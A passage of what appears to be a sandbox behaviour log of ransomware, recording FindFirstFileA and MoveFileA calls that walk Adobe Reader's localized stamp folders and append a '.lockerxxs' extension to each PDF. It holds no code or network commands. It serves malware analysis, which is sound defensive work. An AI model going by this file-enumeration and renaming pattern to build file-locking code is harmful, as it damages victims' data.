(x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Hanko.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\hanko.pdf.lockerxxs")) returned 1 [0072.353] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\signhere.pdf.lockerxxs")) returned 1 [0072.359] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.360] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.368] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf.lockerxxs")) returned 1 [0072.375] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf.lockerxxs")) returned 1 [0072.381] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf.lockerxxs")) returned 1 [0072.387] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.388] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.396] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\dynamic.pdf.lockerxxs")) returned 1 [0072.400] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\signhere.pdf.lockerxxs")) returned 1 [0072.406] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.408] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.418] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf.lockerxxs")) returned 1 [0072.426] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf.lockerxxs")) returned 1 [0072.433] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.434] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.444] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\dynamic.pdf.lockerxxs")) returned 1 [0072.450] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf.lockerxxs")) returned 1 [0072.455] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf.lockerxxs")) returned 1 [0072.469] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf.lockerxxs")) returned 1 [0072.480] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf.lockerxxs")) returned 1 [0072.487] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.489] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.499] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf.lockerxxs")) returned 1 [0072.503] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf.lockerxxs")) returned 1 [0072.511] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.512] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.525] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\dynamic.pdf.lockerxxs")) returned 1 [0072.533] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Faces.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\faces.pdf.lockerxxs")) returned 1 [0072.540] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf.lockerxxs")) returned 1 [0072.546] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf.lockerxxs")) returned 1 [0072.552] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf.lockerxxs")) returned 1 [0072.560] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.561] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.571] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf.lockerxxs")) returned 1 [0072.577] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf.lockerxxs")) returned 1 [0072.581] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf.lockerxxs")) returned 1 [0072.586] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf.lockerxxs")) returned 1 [0072.591] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf.lockerxxs")) returned 1 [0072.598] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.600] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.611] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf.lockerxxs")) returned 1 [0072.616] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf.lockerxxs")) returned 1 [0072.621] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf.lockerxxs")) returned 1 [0072.625] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\signhere.pdf.lockerxxs")) returned 1 [0072.632] MoveFileA 